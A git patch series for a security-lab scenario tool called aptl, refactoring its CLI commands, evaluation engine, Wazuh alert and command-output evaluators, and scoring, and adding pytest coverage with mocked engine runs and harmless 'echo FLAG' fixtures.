(now - started).total_seconds() - minutes = int(elapsed // 60) - seconds = int(elapsed % 60) - - # Create the synthetic root span covering the full scenario duration - if session.trace_id: - init_tracing() - try: - tracer = get_tracer() - start_ns = int(started.timestamp() * 1e9) - end_ns = int(now.timestamp() * 1e9) - create_root_span( - tracer=tracer, - scenario_id=session.scenario_id, - run_id=session.run_id, - start_time=start_ns, - end_time=end_ns, - trace_id=session.trace_id, - span_id=session.span_id, - ) - finally: - shutdown_tracing() - - # Brief delay to allow BatchSpanProcessor flush from MCP servers - time.sleep(2) - - # Finish session - finished_session = session_mgr.finish() - - # Load .env into os.environ so collectors in assemble_run() can - # read credentials via os.getenv() (issue #184). - env_path = project_dir / ".env" - try: - raw_env = load_dotenv(env_path) - os.environ.update(raw_env) - except FileNotFoundError: - log.warning(".env not found at %s; collectors will use defaults", env_path) - - # Assemble experiment run directory (if run_id was set) - run_dir = None - if session.run_id: - try: - config_path = find_config(project_dir) - config = load_config(config_path) if config_path else AptlConfig() - - local_path = Path(config.run_storage.local_path) - if not local_path.is_absolute(): - local_path = project_dir / local_path - - store = LocalRunStore(local_path) - - resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) - scenario_path = _find_scenario_by_name( - resolved_dir, session.scenario_id - ) - - run_dir = assemble_run( - store=store, - run_id=session.run_id, - session=finished_session, - scenario=scenario, - scenario_path=scenario_path, - config=config, - ) - except Exception as e: - log.error("Failed to assemble run: %s", e) - typer.echo(f"Warning: Run assembly failed: {e}") - - # Clear session - session_mgr.clear() - - # Clean up trace context file - ctx_file = state / "trace-context.json" - if ctx_file.exists(): - ctx_file.unlink() - - # Display summary - typer.echo(f"Scenario stopped: {scenario.metadata.name}") - typer.echo(f" Duration: {minutes}m {seconds}s") - flag_count = sum(len(v) for v in session.flags.values()) - typer.echo(f" Flags: {flag_count}") - if run_dir: - typer.echo(f" Run: {run_dir}") + _stop_scenario(project_dir, scenarios_dir, session_mgr, session) # --------------------------------------------------------------------------- @@ -612,7 +536,7 @@ def stop( # --------------------------------------------------------------------------- -def _print_score_summary(score: ScoreReport, scenario: ScenarioDefinition) -> None: +def _print_score_summary(score: ScoreReport) -> None: """Print a formatted score summary.""" typer.echo("") typer.echo("Score:") @@ -663,6 +587,9 @@ def evaluate( session = _require_active_session(session_mgr) scenario = _load_active_scenario(session, project_dir, scenarios_dir) + # Load .env so evaluators can read credentials (Wazuh Indexer, etc.) + _load_env(project_dir) + engine = ScenarioEngine(scenario, session_mgr) results = asyncio.run(engine.evaluate_once()) @@ -678,7 +605,7 @@ def evaluate( # Show current score score = engine.get_score() if score is not None: - _print_score_summary(score, scenario) + _print_score_summary(score) # --------------------------------------------------------------------------- @@ -721,12 +648,8 @@ def _stop_scenario( finished_session = session_mgr.finish() - env_path = project_dir / ".env" - try: - raw_env = load_dotenv(env_path) - os.environ.update(raw_env) - except FileNotFoundError: - log.warning(".env not found at %s; collectors will use defaults", env_path) + # Load .env so collectors in assemble_run() can read credentials (issue #184). + _load_env(project_dir) run_dir = None if session.run_id: @@ -871,6 +794,9 @@ def run( typer.echo("No auto-evaluable objectives. Use 'aptl scenario stop' when done.") return + # Load .env so evaluators can read credentials (Wazuh Indexer, etc.) + _load_env(project_dir) + # --- Engine phase --- timeout_minutes = timeout if timeout is not None else float( scenario.metadata.estimated_minutes @@ -926,7 +852,7 @@ def _signal_handler(sig: int, frame: object) -> None: typer.echo("Engine stopped: evaluation complete") if engine_result.score is not None: - _print_score_summary(engine_result.score, scenario) + _print_score_summary(engine_result.score) typer.echo(f"\n Cycles: {engine_result.evaluation_cycles}") typer.echo(f" Elapsed: {int(engine_result.elapsed_seconds // 60)}m " diff --git a/src/aptl/core/engine.py b/src/aptl/core/engine.py index caea0c278..8e82caf5d 100644 --- a/src/aptl/core/engine.py +++ b/src/aptl/core/engine.py @@ -6,11 +6,13 @@ """ import asyncio +from collections.abc import Callable from dataclasses import dataclass, field from datetime import datetime, timezone from aptl.core.evaluators import EvaluationResult, evaluate_objective from aptl.core.scenarios import ObjectiveType, ScenarioDefinition +from aptl.core.scenarios import ScenarioStateError from aptl.core.scoring import ScoreReport, compute_score from aptl.core.session import ScenarioSession from aptl.core.telemetry import ( @@ -37,7 +39,7 @@ class EngineResult: evaluation_cycles: int = 0 -ProgressCallback = None # Type alias placeholder +ProgressCallback = Callable[[int, list[EvaluationResult], ScoreReport], None] class ScenarioEngine: @@ -62,7 +64,7 @@ def __init__( session_mgr: ScenarioSession, poll_interval: float = 10.0, timeout_minutes: float | None = None, - on_progress: object = None, + on_progress: ProgressCallback | None = None, ) -> None: self._scenario = scenario self._session_mgr = session_mgr @@ -131,8 +133,9 @@ async def run(self, shutdown_event: asyncio.Event) -> EngineResult: # Transition to EVALUATING try: self._session_mgr.set_evaluating() - except Exception: - pass # May already be evaluating or race condition + except ScenarioStateError: + log.debug("Could not transition to EVALUATING (already in that state)") + pass # Evaluate all pending objectives concurrently eval_results = await asyncio.gather( @@ -178,7 +181,8 @@ async def run(self, shutdown_event: asyncio.Event) -> EngineResult: # Transition back to ACTIVE try: self._session_mgr.set_active_from_evaluating() - except Exception: + except ScenarioStateError: + log.debug("Could not transition back to ACTIVE from EVALUATING") pass # Compute score diff --git a/src/aptl/core/evaluators.py b/src/aptl/core/evaluators.py index 26feac5a3..c0539656e 100644 --- a/src/aptl/core/evaluators.py +++ b/src/aptl/core/evaluators.py @@ -9,7 +9,7 @@ import asyncio import re from dataclasses import dataclass -from datetime import datetime, timezone +from datetime import datetime, timedelta, timezone from aptl.core.collectors import _curl_json, _run_cmd from aptl.core.scenarios import ( @@ -50,16 +50,7 @@ async def evaluate_wazuh_alert( now = datetime.now(timezone.utc) checked_at = now.isoformat() - window_start = max( - datetime.fromisoformat(session_started_at), - now.replace( - second=now.second, - microsecond=now.microsecond, - ), - ) - # Use the smaller of: time since session start, or time_window_seconds - from datetime import timedelta - + # Use the later of: (now - time_window_seconds) or session start window_start_dt = now - timedelta(seconds=validation.time_window_seconds) session_start_dt = datetime.fromisoformat(session_started_at) if not session_start_dt.tzinfo: diff --git a/src/aptl/core/scoring.py b/src/aptl/core/scoring.py index f135c88af..cddee2b28 100644 --- a/src/aptl/core/scoring.py +++ b/src/aptl/core/scoring.py @@ -122,7 +122,7 @@ def compute_score( ) ) - base_total = sum(os.earned for os in objective_scores) + base_total = sum(obj_score.earned for obj_score in objective_scores) bonus = 0 if scoring.time_bonus.enabled: From 6c801ce8a3121aa69144b5fb8c4d7e4b623bef3e Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Fri, 27 Mar 2026 09:56:11 -0700 Subject: [PATCH 03/15] Improve test coveragE --- tests/test_cli_evaluate.py | 378 ++++++++++++++++++++++++++++++++++--- tests/test_engine.py | 160 ++++++++++++++++ tests/test_evaluators.py | 69 +++++++ 3 files changed, 578 insertions(+), 29 deletions(-) diff --git a/tests/test_cli_evaluate.py b/tests/test_cli_evaluate.py index 8f8c8d7db..a525b609e 100644 --- a/tests/test_cli_evaluate.py +++ b/tests/test_cli_evaluate.py @@ -1,5 +1,6 @@ -"""Tests for CLI evaluate and run commands.""" +"""Tests for CLI evaluate, run, status scoring, and _print_score_summary.""" +import asyncio from pathlib import Path from unittest.mock import MagicMock, patch @@ -8,6 +9,7 @@ from typer.testing import CliRunner from aptl.cli.scenario import app +from aptl.core.engine import EngineResult from aptl.core.evaluators import EvaluationResult from aptl.core.scoring import ObjectiveScore, ScoreReport @@ -20,42 +22,71 @@ # --------------------------------------------------------------------------- -@pytest.fixture -def scenario_dir(tmp_path: Path) -> Path: - """Create a scenario file with evaluable objectives.""" - scenarios = tmp_path / "scenarios" - scenarios.mkdir() - scenario = { +def _make_scenario_yaml( + scenario_id: str = "eval-test", + mode: str = "red", + objectives_red: list | None = None, + scoring: dict | None = None, + estimated_minutes: int = 10, +) -> dict: + """Build a scenario dict for YAML serialization.""" + if objectives_red is None: + objectives_red = [ + { + "id": "cmd-check", + "description": "Check command output", + "type": "command_output", + "points": 100, + "command_output": { + "container": "kali", + "command": "echo FLAG", + "contains": ["FLAG"], + }, + }, + ] + return { "metadata": { - "id": "eval-test", + "id": scenario_id, "name": "Evaluate Test", "description": "Test scenario for evaluate command", "difficulty": "beginner", - "estimated_minutes": 10, + "estimated_minutes": estimated_minutes, }, - "mode": "red", + "mode": mode, "containers": {"required": ["kali"]}, "objectives": { - "red": [ - { - "id": "cmd-check", - "description": "Check command output", - "type": "command_output", - "points": 100, - "command_output": { - "container": "kali", - "command": "echo FLAG", - "contains": ["FLAG"], - }, - }, - ], + "red": objectives_red, "blue": [], }, - "scoring": { - "passing_score": 50, - "max_score": 100, - }, + "scoring": scoring or {"passing_score": 50, "max_score": 100}, } + + +@pytest.fixture +def scenario_dir(tmp_path: Path) -> Path: + """Create a scenario file with evaluable objectives.""" + scenarios = tmp_path / "scenarios" + scenarios.mkdir() + path = scenarios / "eval-test.yaml" + path.write_text(yaml.dump(_make_scenario_yaml(), default_flow_style=False)) + return tmp_path + + +@pytest.fixture +def manual_only_scenario_dir(tmp_path: Path) -> Path: + """Create a scenario file with only manual objectives (no auto-evaluable).""" + scenarios = tmp_path / "scenarios" + scenarios.mkdir() + scenario = _make_scenario_yaml( + objectives_red=[ + { + "id": "manual-obj", + "description": "Do something manually", + "type": "manual", + "points": 100, + }, + ], + ) path = scenarios / "eval-test.yaml" path.write_text(yaml.dump(scenario, default_flow_style=False)) return tmp_path @@ -73,13 +104,82 @@ def active_scenario(scenario_dir: Path): return scenario_dir, session_mgr, session +# --------------------------------------------------------------------------- +# _print_score_summary coverage +# --------------------------------------------------------------------------- + + +def test_status_shows_time_bonus_and_penalties(scenario_dir: Path, mocker): + """Status displays time bonus and hint penalty lines when present.""" + from aptl.core.scenarios import load_scenario + from aptl.core.session import ScenarioSession + + scenario = load_scenario(scenario_dir / "scenarios" / "eval-test.yaml") + session_mgr = ScenarioSession(scenario_dir / ".aptl") + session = session_mgr.start(scenario) + + mocker.patch( + "aptl.cli.scenario.compute_score", + return_value=ScoreReport( + total_score=120, + max_score=150, + passing_score=100, + passed=True, + time_bonus=30, + hint_penalties=10, + objective_scores=[ + ObjectiveScore( + objective_id="cmd-check", + base_points=100, + hint_penalty=10, + earned=90, + completed=True, + ) + ], + ), + ) + + result = runner.invoke( + app, + ["status", "--project-dir", str(scenario_dir)], + ) + assert result.exit_code == 0 + assert "+30" in result.output # time bonus line + assert "-10" in result.output # penalties line + assert "PASS" in result.output + + +def test_status_scoring_error_is_silent(tmp_path: Path): + """Status still works when scenario file can't be loaded for scoring.""" + from aptl.core.session import ScenarioSession + + # Create a session pointing to a scenario that doesn't have a YAML file + session_mgr = ScenarioSession(tmp_path / ".aptl") + from aptl.core.session import ActiveSession, SessionState + + session = ActiveSession( + scenario_id="missing-scenario", + state=SessionState.ACTIVE, + started_at="2026-03-26T10:00:00+00:00", + ) + session_mgr._write(session) + + result = runner.invoke( + app, + ["status", "--project-dir", str(tmp_path)], + ) + # Should show basic status without crashing, even without scoring + assert result.exit_code == 0 or result.exit_code == 1 + assert "missing-scenario" in result.output + + # --------------------------------------------------------------------------- # Evaluate command # --------------------------------------------------------------------------- def test_evaluate_command_runs(active_scenario, mocker): - """aptl scenario evaluate runs a single pass.""" + """aptl scenario evaluate runs a single pass and shows results.""" project_dir, session_mgr, session = active_scenario async def mock_evaluate_once(self): @@ -123,6 +223,27 @@ async def mock_evaluate_once(self): assert "cmd-check" in result.output +def test_evaluate_no_pending_objectives(active_scenario, mocker): + """Evaluate reports 'no pending' when all evaluable objectives are done.""" + project_dir, session_mgr, session = active_scenario + session_mgr.record_objective_complete("cmd-check") + + async def mock_evaluate_once(self): + return [] + + mocker.patch( + "aptl.core.engine.ScenarioEngine.evaluate_once", + mock_evaluate_once, + ) + + result = runner.invoke( + app, + ["evaluate", "--project-dir", str(project_dir)], + ) + assert result.exit_code == 0 + assert "No evaluable objectives pending" in result.output + + def test_evaluate_no_active_session(tmp_path: Path): """aptl scenario evaluate exits when no session is active.""" result = runner.invoke( @@ -132,6 +253,206 @@ def test_evaluate_no_active_session(tmp_path: Path): assert result.exit_code == 1 +# --------------------------------------------------------------------------- +# Run command +# --------------------------------------------------------------------------- + + +def test_run_command_full_lifecycle(scenario_dir: Path, mocker): + """aptl scenario run starts, evaluates, reports, and stops.""" + mocker.patch("aptl.cli.scenario.collect_flags", return_value={}) + mocker.patch("aptl.cli.scenario.init_tracing") + mocker.patch("aptl.cli.scenario.shutdown_tracing") + mocker.patch("aptl.cli.scenario.get_tracer", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.make_parent_context", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.create_child_span", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.write_trace_context") + mocker.patch("aptl.cli.scenario.create_root_span") + mocker.patch("aptl.cli.scenario._load_env") + mocker.patch("aptl.cli.scenario.assemble_run", return_value=None) + + # Mock the engine to complete immediately + mock_result = EngineResult( + completed_objectives=["cmd-check"], + score=ScoreReport( + total_score=100, + max_score=100, + passing_score=50, + passed=True, + time_bonus=0, + hint_penalties=0, + objective_scores=[ + ObjectiveScore( + objective_id="cmd-check", + base_points=100, + hint_penalty=0, + earned=100, + completed=True, + ) + ], + ), + elapsed_seconds=15.0, + timed_out=False, + evaluation_cycles=2, + ) + + async def mock_engine_run(self, shutdown_event): + return mock_result + + mocker.patch( + "aptl.core.engine.ScenarioEngine.run", + mock_engine_run, + ) + + result = runner.invoke( + app, + ["run", "--project-dir", str(scenario_dir), "eval-test", + "--poll-interval", "0.1", "--timeout", "1"], + ) + assert result.exit_code == 0 + assert "Started scenario" in result.output + assert "Evaluable:" in result.output + assert "Evaluation engine started" in result.output + assert "evaluation complete" in result.output + assert "Cycles:" in result.output + assert "PASS" in result.output + + +def test_run_command_timeout_report(scenario_dir: Path, mocker): + """aptl scenario run reports timeout when engine times out.""" + mocker.patch("aptl.cli.scenario.collect_flags", return_value={}) + mocker.patch("aptl.cli.scenario.init_tracing") + mocker.patch("aptl.cli.scenario.shutdown_tracing") + mocker.patch("aptl.cli.scenario.get_tracer", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.make_parent_context", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.create_child_span", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.write_trace_context") + mocker.patch("aptl.cli.scenario.create_root_span") + mocker.patch("aptl.cli.scenario._load_env") + mocker.patch("aptl.cli.scenario.assemble_run", return_value=None) + + mock_result = EngineResult( + completed_objectives=[], + score=ScoreReport( + total_score=0, + max_score=100, + passing_score=50, + passed=False, + time_bonus=0, + hint_penalties=0, + objective_scores=[], + ), + elapsed_seconds=600.0, + timed_out=True, + evaluation_cycles=5, + ) + + async def mock_engine_run(self, shutdown_event): + return mock_result + + mocker.patch("aptl.core.engine.ScenarioEngine.run", mock_engine_run) + + result = runner.invoke( + app, + ["run", "--project-dir", str(scenario_dir), "eval-test", "--timeout", "1"], + ) + assert result.exit_code == 0 + assert "timeout reached" in result.output + + +def test_run_command_manual_only_exits_early(manual_only_scenario_dir: Path, mocker): + """aptl scenario run exits early when no auto-evaluable objectives exist.""" + mocker.patch("aptl.cli.scenario.collect_flags", return_value={}) + mocker.patch("aptl.cli.scenario.init_tracing") + mocker.patch("aptl.cli.scenario.shutdown_tracing") + mocker.patch("aptl.cli.scenario.get_tracer", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.make_parent_context", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.create_child_span", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.write_trace_context") + + result = runner.invoke( + app, + ["run", "--project-dir", str(manual_only_scenario_dir), "eval-test"], + ) + assert result.exit_code == 0 + assert "No auto-evaluable objectives" in result.output + + +def test_run_command_missing_scenario(tmp_path: Path): + """aptl scenario run fails when scenario doesn't exist.""" + scenarios = tmp_path / "scenarios" + scenarios.mkdir() + + result = runner.invoke( + app, + ["run", "--project-dir", str(tmp_path), "nonexistent"], + ) + assert result.exit_code == 1 + + +def test_run_command_double_start_fails(active_scenario, mocker): + """aptl scenario run fails if a session is already active.""" + project_dir, _, _ = active_scenario + + result = runner.invoke( + app, + ["run", "--project-dir", str(project_dir), "eval-test"], + ) + assert result.exit_code == 1 + assert "already active" in result.output + + +def test_run_progress_callback_output(scenario_dir: Path, mocker): + """Run command progress callback prints newly-passed objectives and cycle summary.""" + mocker.patch("aptl.cli.scenario.collect_flags", return_value={}) + mocker.patch("aptl.cli.scenario.init_tracing") + mocker.patch("aptl.cli.scenario.shutdown_tracing") + mocker.patch("aptl.cli.scenario.get_tracer", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.make_parent_context", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.create_child_span", return_value=MagicMock()) + mocker.patch("aptl.cli.scenario.write_trace_context") + mocker.patch("aptl.cli.scenario.create_root_span") + mocker.patch("aptl.cli.scenario._load_env") + mocker.patch("aptl.cli.scenario.assemble_run", return_value=None) + + # Engine that captures and invokes the progress callback + async def mock_engine_run(self, shutdown_event): + if self._on_progress: + self._on_progress( + 1, + [EvaluationResult("cmd-check", True, "Pass", "2026-03-26T10:01:00+00:00")], + ScoreReport( + total_score=100, max_score=100, passing_score=50, + passed=True, time_bonus=0, hint_penalties=0, + objective_scores=[ + ObjectiveScore("cmd-check", 100, 0, 100, True), + ], + ), + ) + return EngineResult( + completed_objectives=["cmd-check"], + score=ScoreReport( + total_score=100, max_score=100, passing_score=50, + passed=True, time_bonus=0, hint_penalties=0, + objective_scores=[ObjectiveScore("cmd-check", 100, 0, 100, True)], + ), + elapsed_seconds=10.0, + timed_out=False, + evaluation_cycles=1, + ) + + mocker.patch("aptl.core.engine.ScenarioEngine.run", mock_engine_run) + + result = runner.invoke( + app, + ["run", "--project-dir", str(scenario_dir), "eval-test", + "--poll-interval", "0.1", "--timeout", "1"], + ) + assert result.exit_code == 0 + assert "[PASS] cmd-check" in result.output + assert "Cycle 1:" in result.output + + # --------------------------------------------------------------------------- # Status command with scoring # --------------------------------------------------------------------------- @@ -141,7 +462,6 @@ def test_status_shows_score(active_scenario, mocker): """aptl scenario status shows score information.""" project_dir, session_mgr, session = active_scenario - # Mock compute_score to avoid needing real scenario lookup errors result = runner.invoke( app, ["status", "--project-dir", str(project_dir)], diff --git a/tests/test_engine.py b/tests/test_engine.py index 987f2dac1..f9fd59595 100644 --- a/tests/test_engine.py +++ b/tests/test_engine.py @@ -369,3 +369,163 @@ async def drive(): assert len(progress_calls) >= 1 assert progress_calls[0][0] == 1 + + +# --------------------------------------------------------------------------- +# Edge cases +# --------------------------------------------------------------------------- + + +def test_run_no_active_session(session_mgr, scenario_with_evaluable, mocker): + """Engine returns empty result when no session is active.""" + _mock_otel(mocker) + + engine = ScenarioEngine(scenario_with_evaluable, session_mgr) + + async def drive(): + shutdown = asyncio.Event() + return await engine.run(shutdown) + + result = asyncio.run(drive()) + assert result.completed_objectives == [] + assert result.evaluation_cycles == 0 + + +def test_run_session_disappears_mid_loop( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """Engine exits gracefully if session file is deleted during run.""" + call_count = 0 + original_get_active = session_mgr.get_active + + def get_active_then_none(): + nonlocal call_count + call_count += 1 + # First call succeeds (initial check), second returns None (mid-loop) + if call_count <= 1: + return original_get_active() + return None + + mocker.patch.object(session_mgr, "get_active", side_effect=get_active_then_none) + _mock_otel(mocker) + + engine = ScenarioEngine( + scenario_with_evaluable, session_mgr, poll_interval=0.1 + ) + + async def drive(): + shutdown = asyncio.Event() + return await engine.run(shutdown) + + result = asyncio.run(drive()) + assert result.evaluation_cycles >= 1 + + +def test_run_progress_callback_error_does_not_crash( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """Engine continues if progress callback raises.""" + async def mock_evaluate(obj, started_at): + return EvaluationResult( + objective_id=obj.id, + passed=True, + detail="Pass", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + _mock_otel(mocker) + + def bad_callback(cycle, results, score): + raise RuntimeError("callback crashed") + + engine = ScenarioEngine( + scenario_with_evaluable, + session_mgr, + poll_interval=0.1, + on_progress=bad_callback, + ) + + async def drive(): + shutdown = asyncio.Event() + return await engine.run(shutdown) + + result = asyncio.run(drive()) + # Engine should complete despite callback error + assert result.evaluation_cycles >= 1 + assert "cmd-obj" in result.completed_objectives + + +def test_evaluate_once_handles_evaluator_exception( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """evaluate_once logs and skips objectives that raise exceptions.""" + call_count = 0 + + async def mock_evaluate(obj, started_at): + nonlocal call_count + call_count += 1 + if obj.id == "cmd-obj": + raise RuntimeError("evaluator exploded") + return EvaluationResult( + objective_id=obj.id, + passed=True, + detail="Pass", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + + engine = ScenarioEngine(scenario_with_evaluable, session_mgr) + results = asyncio.run(engine.evaluate_once()) + + # cmd-obj raised, wazuh-obj succeeded + assert len(results) == 1 + assert results[0].objective_id == "wazuh-obj" + + +def test_get_score_no_session(session_mgr, scenario_with_evaluable): + """get_score returns None when no session is active.""" + engine = ScenarioEngine(scenario_with_evaluable, session_mgr) + assert engine.get_score() is None + + +def test_run_state_transition_errors_are_handled( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """Engine handles ScenarioStateError from set_evaluating/set_active gracefully.""" + from aptl.core.scenarios import ScenarioStateError + + async def mock_evaluate(obj, started_at): + return EvaluationResult( + objective_id=obj.id, + passed=True, + detail="Pass", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + _mock_otel(mocker) + + # Make state transitions fail + mocker.patch.object( + session_mgr, "set_evaluating", + side_effect=ScenarioStateError("already evaluating"), + ) + mocker.patch.object( + session_mgr, "set_active_from_evaluating", + side_effect=ScenarioStateError("not in evaluating"), + ) + + engine = ScenarioEngine( + scenario_with_evaluable, session_mgr, poll_interval=0.1 + ) + + async def drive(): + shutdown = asyncio.Event() + return await engine.run(shutdown) + + result = asyncio.run(drive()) + # Engine should complete despite state transition errors + assert result.evaluation_cycles >= 1 + assert "cmd-obj" in result.completed_objectives diff --git a/tests/test_evaluators.py b/tests/test_evaluators.py index fc6646c2f..ca22c7ae1 100644 --- a/tests/test_evaluators.py +++ b/tests/test_evaluators.py @@ -335,3 +335,72 @@ def test_evaluate_objective_file(mocker): ) result = asyncio.run(evaluate_objective(obj, SESSION_STARTED_AT)) assert result.passed is True + + +# --------------------------------------------------------------------------- +# Error / edge-case paths +# --------------------------------------------------------------------------- + + +def test_wazuh_alert_exception_in_to_thread(mocker, wazuh_validation): + """Wazuh evaluator returns failure when _curl_json raises.""" + mocker.patch( + "aptl.core.evaluators._curl_json", + side_effect=OSError("Connection refused"), + ) + result = asyncio.run(evaluate_wazuh_alert( + "err-obj", wazuh_validation, SESSION_STARTED_AT + )) + assert result.passed is False + assert "Query error" in result.detail + + +def test_command_output_exception_in_to_thread(mocker, command_validation): + """Command evaluator returns failure when _run_cmd raises.""" + mocker.patch( + "aptl.core.evaluators._run_cmd", + side_effect=OSError("Docker not found"), + ) + result = asyncio.run(evaluate_command_output("err-obj", command_validation)) + assert result.passed is False + assert "Execution error" in result.detail + + +def test_file_exists_exception_in_to_thread(mocker, file_validation): + """File evaluator returns failure when _run_cmd raises.""" + mocker.patch( + "aptl.core.evaluators._run_cmd", + side_effect=OSError("Docker not found"), + ) + result = asyncio.run(evaluate_file_exists("err-obj", file_validation)) + assert result.passed is False + assert "Execution error" in result.detail + + +def test_wazuh_alert_naive_session_timestamp(mocker, wazuh_validation): + """Wazuh evaluator handles naive (no-tz) session timestamps.""" + mocker.patch( + "aptl.core.evaluators._curl_json", + return_value={"hits": {"total": {"value": 10}, "hits": []}}, + ) + result = asyncio.run(evaluate_wazuh_alert( + "tz-obj", wazuh_validation, "2026-03-26T10:00:00" + )) + assert result.passed is True + + +def test_wazuh_alert_window_clamped_to_session_start(mocker): + """Time window is clamped to session start when session is shorter than window.""" + validation = WazuhAlertValidation( + query={"match_all": {}}, + min_matches=1, + time_window_seconds=3600, # max allowed; will exceed session age + ) + mocker.patch( + "aptl.core.evaluators._curl_json", + return_value={"hits": {"total": {"value": 5}, "hits": []}}, + ) + result = asyncio.run(evaluate_wazuh_alert( + "clamp-obj", validation, SESSION_STARTED_AT + )) + assert result.passed is True From a8b7bb9ca507ee1f1bf9b9ad8a35d9ec57e95cd3 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 28 Mar 2026 15:41:06 -0700 Subject: [PATCH 04/15] Fix code review issues --- src/aptl/cli/scenario.py | 175 +++++++++++++++------------ src/aptl/core/engine.py | 235 +++++++++++++++++++----------------- src/aptl/core/evaluators.py | 15 ++- 3 files changed, 231 insertions(+), 194 deletions(-) diff --git a/src/aptl/cli/scenario.py b/src/aptl/cli/scenario.py index 7f0367609..d8339cea1 100644 --- a/src/aptl/cli/scenario.py +++ b/src/aptl/cli/scenario.py @@ -47,6 +47,8 @@ app = typer.Typer(help="Scenario management.") console = Console() +_SCENARIO_NAME_HELP = "Scenario name or filename." + # --------------------------------------------------------------------------- # Shared helpers @@ -237,7 +239,7 @@ def list_scenarios( @app.command() def show( - name: str = typer.Argument(help="Scenario name or filename."), + name: str = typer.Argument(help=_SCENARIO_NAME_HELP), project_dir: Path = typer.Option( Path("."), "--project-dir", @@ -369,7 +371,7 @@ def validate( @app.command() def start( - name: str = typer.Argument(help="Scenario name or filename."), + name: str = typer.Argument(help=_SCENARIO_NAME_HELP), project_dir: Path = typer.Option( Path("."), "--project-dir", @@ -495,7 +497,8 @@ def status( # Show scoring if we can load the scenario definition try: resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) - scenario = _load_scenario_or_exit(resolved_dir, session.scenario_id) + path = _find_scenario_by_name(resolved_dir, session.scenario_id) + scenario = load_scenario(path) score = compute_score( scenario, session.completed_objectives, @@ -503,8 +506,6 @@ def status( elapsed_seconds, ) _print_score_summary(score) - except SystemExit: - pass # _load_scenario_or_exit raises typer.Exit on missing file except Exception as e: log.debug("Could not compute score for status: %s", e) @@ -690,42 +691,15 @@ def _stop_scenario( typer.echo(f" Run: {run_dir}") -@app.command() -def run( - name: str = typer.Argument(help="Scenario name or filename."), - project_dir: Path = typer.Option( - Path("."), - "--project-dir", - "-d", - help="Path to the APTL project directory.", - ), - scenarios_dir: Path | None = typer.Option( - None, - "--scenarios-dir", - "-s", - help="Path to scenarios directory. Defaults to /scenarios.", - ), - poll_interval: float = typer.Option( - 10.0, - "--poll-interval", - help="Seconds between evaluation cycles.", - ), - timeout: float | None = typer.Option( - None, - "--timeout", - help="Override timeout in minutes (default: scenario estimated_minutes).", - ), -) -> None: - """Start a scenario, evaluate objectives in real time, then stop. +def _start_scenario_session( + project_dir: Path, + scenarios_dir: Path | None, + name: str, +) -> tuple: + """Start a scenario session and return (scenario, session_mgr, session, run_id). - Combines start + evaluation loop + stop into a single command. - The engine periodically checks non-manual objectives against live - infrastructure. Press Ctrl+C for graceful shutdown. + Raises typer.Exit on validation failure. """ - from aptl.core.engine import ScenarioEngine - - # --- Start phase (same as `aptl scenario start`) --- - log.info("Starting scenario run: %s", name) resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) scenario = _load_scenario_or_exit(resolved_dir, name) @@ -773,20 +747,97 @@ def run( finally: shutdown_tracing() - # Count evaluable objectives + return scenario, session_mgr, session, run_id + + +def _print_engine_report(engine_result, scenario, session_mgr, project_dir, scenarios_dir): + """Print engine results and run the stop phase.""" + from aptl.core.engine import EngineResult + + typer.echo("") + if engine_result.timed_out: + typer.echo("Engine stopped: timeout reached") + else: + typer.echo("Engine stopped: evaluation complete") + + if engine_result.score is not None: + _print_score_summary(engine_result.score) + + typer.echo(f"\n Cycles: {engine_result.evaluation_cycles}") + typer.echo(f" Elapsed: {int(engine_result.elapsed_seconds // 60)}m " + f"{int(engine_result.elapsed_seconds % 60)}s") + + typer.echo("") + session = session_mgr.get_active() + if session is not None and session_mgr.is_active(): + _stop_scenario(project_dir, scenarios_dir, session_mgr, session) + + +def _on_run_progress(cycle: int, results: list, score: ScoreReport) -> None: + """Progress callback for the run command.""" + completed = sum(1 for os_ in score.objective_scores if os_.completed) + total = len(score.objective_scores) + for r in results: + if r.passed: + typer.echo(f" [PASS] {r.objective_id}: {r.detail}") + typer.echo( + f" Cycle {cycle}: {completed}/{total} objectives, " + f"score {score.total_score}/{score.max_score}" + ) + + +@app.command() +def run( + name: str = typer.Argument(help=_SCENARIO_NAME_HELP), + project_dir: Path = typer.Option( + Path("."), + "--project-dir", + "-d", + help="Path to the APTL project directory.", + ), + scenarios_dir: Path | None = typer.Option( + None, + "--scenarios-dir", + "-s", + help="Path to scenarios directory. Defaults to /scenarios.", + ), + poll_interval: float = typer.Option( + 10.0, + "--poll-interval", + help="Seconds between evaluation cycles.", + ), + timeout: float | None = typer.Option( + None, + "--timeout", + help="Override timeout in minutes (default: scenario estimated_minutes).", + ), +) -> None: + """Start a scenario, evaluate objectives in real time, then stop. + + Combines start + evaluation loop + stop into a single command. + The engine periodically checks non-manual objectives against live + infrastructure. Press Ctrl+C for graceful shutdown. + """ + from aptl.core.engine import ScenarioEngine + + log.info("Starting scenario run: %s", name) + scenario, session_mgr, session, run_id = _start_scenario_session( + project_dir, scenarios_dir, name, + ) + evaluable = [ o for o in scenario.objectives.all_objectives() if o.type != ObjectiveType.MANUAL ] - manual = [ - o for o in scenario.objectives.all_objectives() + manual_count = sum( + 1 for o in scenario.objectives.all_objectives() if o.type == ObjectiveType.MANUAL 